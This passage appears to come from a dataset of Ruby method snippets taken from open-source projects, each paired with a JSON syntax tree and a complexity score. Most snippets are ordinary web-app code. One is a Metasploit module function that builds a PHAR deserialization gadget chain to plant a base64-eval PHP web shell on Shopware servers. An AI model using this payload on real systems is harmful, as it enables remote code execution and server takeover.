":"a48d9df8-5977-47c0-a91d-377f769ad528"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/shopware_createinstancefromnamedarguments_rce.rb","start_line":118,"raw_source":"def generate_phar(webroot)\n    php = Rex::FileUtils.normalize_unix_path(\"#{webroot}#{target_uri.path}media/#{@shll_bd}.php\")\n    register_file_for_cleanup(\"#{@shll_bd}.php\")\n    pop = \"O:31:\\\"GuzzleHttp\\\\Cookie\\\\FileCookieJar\\\":2:{s:41:\\\"\\x00GuzzleHttp\\\\Cookie\\\\FileCookieJar\\x00filename\\\";\"\n    pop << \"s:#{php.length}:\\\"#{php}\\\";\"\n    pop << \"s:36:\\\"\\x00GuzzleHttp\\\\Cookie\\\\CookieJar\\x00cookies\\\";\"\n    pop << \"a:1:{i:0;O:27:\\\"GuzzleHttp\\\\Cookie\\\\SetCookie\\\":1:{s:33:\\\"\\x00GuzzleHttp\\\\Cookie\\\\SetCookie\\x00data\\\";\"\n    pop << \"a:3:{s:5:\\\"Value\\\";\"\n    pop << \"s:48:\\\"<?php eval(base64_decode($_SERVER[HTTP_#{@header}])); ?>\\\";\"\n    pop << \"s:7:\\\"Expires\\\";\"\n    pop << \"b:1;\"\n    pop << \"s:7:\\\"Discard\\\";\"\n    pop << \"b:0;}}}}\"\n    file = Rex::Text.rand_text_alpha_lower(8)\n    stub = \"<?php __HALT_COMPILER(); ?>\\r\\n\"\n    file_contents = Rex::Text.rand_text_alpha_lower(20)\n    file_crc32 = Zlib::crc32(file_contents) & 0xffffffff\n    manifest_len = 40 + pop.length + file.length\n    phar = stub\n    phar << [manifest_len].pack('V')              # length of manifest in bytes\n    phar << [0x1].pack('V')                       # number of files in the phar\n    phar << [0x11].pack('v')                      # api version of the phar manifest\n    phar << [0x10000].pack('V')                   # global phar bitmapped flags\n    phar << [0x0].pack('V')                       # length of phar alias\n    phar << [pop.length].pack('V')                # length of phar metadata\n    phar << pop                                   # pop chain\n    phar << [file.length].pack('V')               # length of filename in the archive\n    phar << file                                  # filename\n    phar << [file_contents.length].pack('V')      # length of the uncompressed file contents\n    phar << [0x0].pack('V')                       # unix timestamp of file set to Jan 01 1970.\n    phar << [file_contents.length].pack('V')      # length of the compressed file contents\n    phar << [file_crc32].pack('V')                # crc32 checksum of un-compressed file contents\n    phar << [0x1b6].pack('V')                     # bit-mapped file-specific flags\n    phar << [0x0].pack('V')                       # serialized File Meta-data length\n    phar << file_contents                         # serialized File Meta-data\n    phar << [Rex::Text.sha1(phar)].pack('H*')     # signature\n    phar << [0x2].pack('V')                       # signiture type\n    phar << \"GBMB\"                                # signature presence\n    return phar\n  end","complexity_score":78.8,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_phar\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"webroot\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"php\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"FileUtils\"]},\"normalize_unix_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"webroot\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\"media/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@shll_bd\"]}]},{\"type\":\"str\",\"children\":[\".php\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@shll_bd\"]}]},{\"type\":\"str\",\"children\":[\".php\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pop\",{\"type\":\"str\",\"children\":[\"O:31:\\\"GuzzleHttp\\\\Cookie\\\\FileCookieJar\\\":2:{s:41:\\\"\\u0000GuzzleHttp\\\\Cookie\\\\FileCookieJar\\u0000filename\\\";\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pop\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"s:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"php\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\":\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"php\"]}]},{\"type\":\"str\",\"children\":[\"\\\";\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pop\"]},\"<<\",{\"type\":\"str\",\"children\":[\"s:36:\\\"\\u0000GuzzleHttp\\\\Cookie\\\\CookieJar\\u0000cookies\\\";\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pop\"]},\"<<\",{\"type\":\"str\",\"children\":[\"a:1:{i:0;O:27:\\\"GuzzleHttp\\\\Cookie\\\\SetCookie\\\":1:{s:33:\\\"\\u0000GuzzleHttp\\\\Cookie\\\\SetCookie\\u0000data\\\";\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pop\"]},\"<<\",{\"type\":\"str\",\"children\":[\"a:3:{s:5:\\\"Value\\\";\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pop\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"s:48:\\\"<?php eval(base64_decode($_SERVER[HTTP_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@header\"]}]},{\"type\":\"str\",\"children\":[\"])); ?>\\\";\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pop\"]},\"<<\",{\"type\":\"str\",\"children\":[\"s:7:\\\"Expires\\\";\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pop\"]},\"<<\",{\"type\":\"str\",\"children\":[\"b:1;\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pop\"]},\"<<\",{\"type\":\"str\",\"children\":[\"s:7:\\\"Discard\\\";\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pop\"]},\"<<\",{\"type\":\"str\",\"children\":[\"b:0;}}}}\"]}]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_lower\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"lvasgn\",\"children\":[\"stub\",{\"type\":\"str\",\"children\":[\"<?php __HALT_COMPILER(); ?>\\r\\n\"]}]},{\"type\":\"lvasgn\",\"children\":[\"file_contents\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_lower\",{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_crc32\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zlib\"]},\"crc32\",{\"type\":\"lvar\",\"children\":[\"file_contents\"]}]},\"&\",{\"type\":\"int\",\"children\":[4294967295]}]}]},{\"type\":\"lvasgn\",\"children\":[\"manifest_len\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[40]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pop\"]},\"length\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"length\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"phar\",{\"type\":\"lvar\",\"children\":[\"stub\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phar\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manifest_len\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phar\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phar\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[17]}]},\"pack\",{\"type\":\"str\",\"children\":[\"v\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phar\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[65536]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phar\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phar\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pop\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phar\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"pop\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phar\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phar\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phar\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_contents\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phar\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phar\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_contents\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phar\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_crc32\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phar\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[438]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phar\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phar\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"file_contents\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phar\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"sha1\",{\"type\":\"lvar\",\"children\":[\"phar\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"H*\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phar\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phar\"]},\"<<\",{\"type\":\"str\",\"children\":[\"GBMB\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phar\"]}]}]}]}","id":"118646a7-d3f4-4dde-9899-e056a7765fe8"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-policy/app/models/post_policy.rb","start_line":48,"raw_source":"def emailed_by_when_away\n    return User.none unless groups.exists?\n\n    emails_enabled_when_away_users.where.not(id: accepted_policy_users.select(:user_id))\n  end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"emailed_by_when_away\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"groups\"]},\"exists?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"none\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"emails_enabled_when_away_users\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"accepted_policy_users\"]},\"select\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}]}]}]}","id":"cac37f91-0c8a-4a53-8a5a-88c44aaa0ef6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/file/base.rb","start_line":33,"raw_source":"def valid?\n              errors.none?\n            end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"none?\"]}]}","id":"f763376b-0568-49d8-901f-688e8c5e1d19"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/system_check/app/authorized_keys_permission_check.rb","start_line":37,"raw_source":"def authorized_keys\n        @authorized_keys ||= Gitlab::AuthorizedKeys.new\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"authorized_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@authorized_keys\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AuthorizedKeys\"]},\"new\"]}]}]}","id":"8fb66420-fb78-4157-9de1-301340f42d16"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/tools/fix_auth/fix_auth.rb","start_line":92,"raw_source":"def set_legacy_key\n      key = ManageIQ::Password.load_key_file(options[:legacy_key])\n      puts \"WARNING: legacy key #{options[:legacy_key]} not found\" unless key\n      options[:legacy_key] = key\n    end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"set_legacy_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ManageIQ\"]},\"Password\"]},\"load_key_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"legacy_key\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},null,{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WARNING: legacy key \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"legacy_key\"]}]}]},{\"type\":\"str\",\"children\":[\" not found\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"legacy_key\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}","id":"4da9663a-717a-476f-8dbb-1bc7817628cc"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/concerns/accounts/authorization.rb","start_line":107,"raw_source":"def require_admin\n    return unless require_login\n\n    render_403 unless current_user.admin?\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"require_admin\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require_login\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"admin?\"]},null,{\"type\":\"send\",\"children\":[null,\"render_403\"]}]}]}]}","id":"fed6038f-6bcc-41a9-b005-95947f6f4b5a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/tasks/uploads.rb","start_line":20,"raw_source":"def storage_path = context.upload_path","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"storage_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"upload_path\"]}]}","id":"5920693d-0177-46a8-a314-130d03cc4bf9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/cover.rb","start_line":67,"raw_source":"def cover_hero_dates_max_height\n    cover_page_dates&.then { styles.cover_hero_dates_max_height } || 0\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cover_hero_dates_max_height\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cover_page_dates\"]},\"then\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"styles\"]},\"cover_hero_dates_max_height\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}","id":"a5914d4d-3275-4be7-99c1-faceeaa7dff3"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/twitter/direct_message_parser_service.rb","start_line":56,"raw_source":"def media\n    message_create_data['message_data']['attachment']['media']\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"media\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message_create_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"message_data\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"attachment\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"media\"]}]}]}","id":"ca03a068-ad6c-43c4-afb1-c0d96c4c420f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/code_runtime_tracker.rb","start_line":21,"raw_source":"def method_call_data\n          @method_calls ||= Hash.new { |hsh, key| hsh[key] = [] }\n        end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"method_call_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@method_calls\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hsh\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hsh\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"486e4af1-03da-49d5-b578-6d545b9aa599"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/zendesk_api.rb","start_line":45,"raw_source":"def execute\n    fetch_from_api\n\n    import_categories\n    import_users\n    import_topics\n    import_posts\n    import_likes\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_from_api\"]},{\"type\":\"send\",\"children\":[null,\"import_categories\"]},{\"type\":\"send\",\"children\":[null,\"import_users\"]},{\"type\":\"send\",\"children\":[null,\"import_topics\"]},{\"type\":\"send\",\"children\":[null,\"import_posts\"]},{\"type\":\"send\",\"children\":[null,\"import_likes\"]}]}]}","id":"55dd11b6-fa6a-4219-b3b2-937efae4d8b4"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/work_packages/work_packages_table.rb","start_line":106,"raw_source":"def expect_sums_row_with_attributes(attr_value_hash)\n      within(table_container) do\n        attr_value_hash.each do |column, value|\n          expect(page).to have_css(\n            \".wp-table--sums-row div.#{column}\", text: value.to_s, wait: 10\n          )\n        end\n      end\n    end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_sums_row_with_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr_value_hash\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"send\",\"children\":[null,\"table_container\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr_value_hash\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".wp-table--sums-row div.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}]}]}]}","id":"a0179274-d29c-4e6b-a776-2a59c9a9babe"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/type/attributes.rb","start_line":144,"raw_source":"def merge_date_for_form_attributes(attributes)\n      attributes[\"date\"] = { required: false, has_default: false }\n      attributes.delete \"due_date\"\n      attributes.delete \"start_date\"\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_date_for_form_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"date\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"has_default\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"delete\",{\"type\":\"str\",\"children\":[\"due_date\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"delete\",{\"type\":\"str\",\"children\":[\"start_date\"]}]}]}]}","id":"bd850c78-e694-420e-999e-3858acbe4c02"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_sent_notifications_after_partition.rb","start_line":90,"raw_source":"def update_design_records(sub_batch)\n        connection.execute(\n          <<~SQL\n            #{query_prefix(sub_batch, 'DesignManagement::Design')}\n            design_management_designs.namespace_id\n            FROM\n              filtered_relation\n              INNER JOIN design_management_designs ON filtered_relation.noteable_id = design_management_designs.id\n            ON CONFLICT DO NOTHING\n          SQL\n        )\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_design_records\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_prefix\",{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},{\"type\":\"str\",\"children\":[\"DesignManagement::Design\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"design_management_designs.namespace_id\\n\"]},{\"type\":\"str\",\"children\":[\"FROM\\n\"]},{\"type\":\"str\",\"children\":[\"  filtered_relation\\n\"]},{\"type\":\"str\",\"children\":[\"  INNER JOIN design_management_designs ON filtered_relation.noteable_id = design_management_designs.id\\n\"]},{\"type\":\"str\",\"children\":[\"ON CONFLICT DO NOTHING\\n\"]}]}]}]}","id":"40d2f635-465c-4594-8f63-b5fb937f0333"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/packages/debian/process_package_file_worker.rb","start_line":18,"raw_source":"def perform(package_file_id, distribution_name, component_name)\n        @package_file_id = package_file_id\n        @distribution_name = distribution_name\n        @component_name = component_name\n\n        return unless package_file\n        # return if file has already been processed\n        return unless package_file.debian_file_metadatum&.unknown?\n\n        ::Packages::Debian::ProcessPackageFileService.new(package_file, distribution_name, component_name).execute\n      rescue StandardError => exception\n        package_file.update_column(:status, :error)\n        process_package_file_error(\n          package_file: package_file,\n          exception: exception,\n          extra_log_payload: {\n            distribution_name: @distribution_name,\n            component_name: @component_name\n          }\n        )\n      end","complexity_score":22.7,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package_file_id\"]},{\"type\":\"arg\",\"children\":[\"distribution_name\"]},{\"type\":\"arg\",\"children\":[\"component_name\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@package_file_id\",{\"type\":\"lvar\",\"children\":[\"package_file_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@distribution_name\",{\"type\":\"lvar\",\"children\":[\"distribution_name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@component_name\",{\"type\":\"lvar\",\"children\":[\"component_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_file\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_file\"]},\"debian_file_metadatum\"]},\"unknown?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Debian\"]},\"ProcessPackageFileService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"package_file\"]},{\"type\":\"lvar\",\"children\":[\"distribution_name\"]},{\"type\":\"lvar\",\"children\":[\"component_name\"]}]},\"execute\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exception\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_file\"]},\"update_column\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[null,\"process_package_file_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_file\"]},{\"type\":\"send\",\"children\":[null,\"package_file\"]}]},{\"type\":\"pair\",\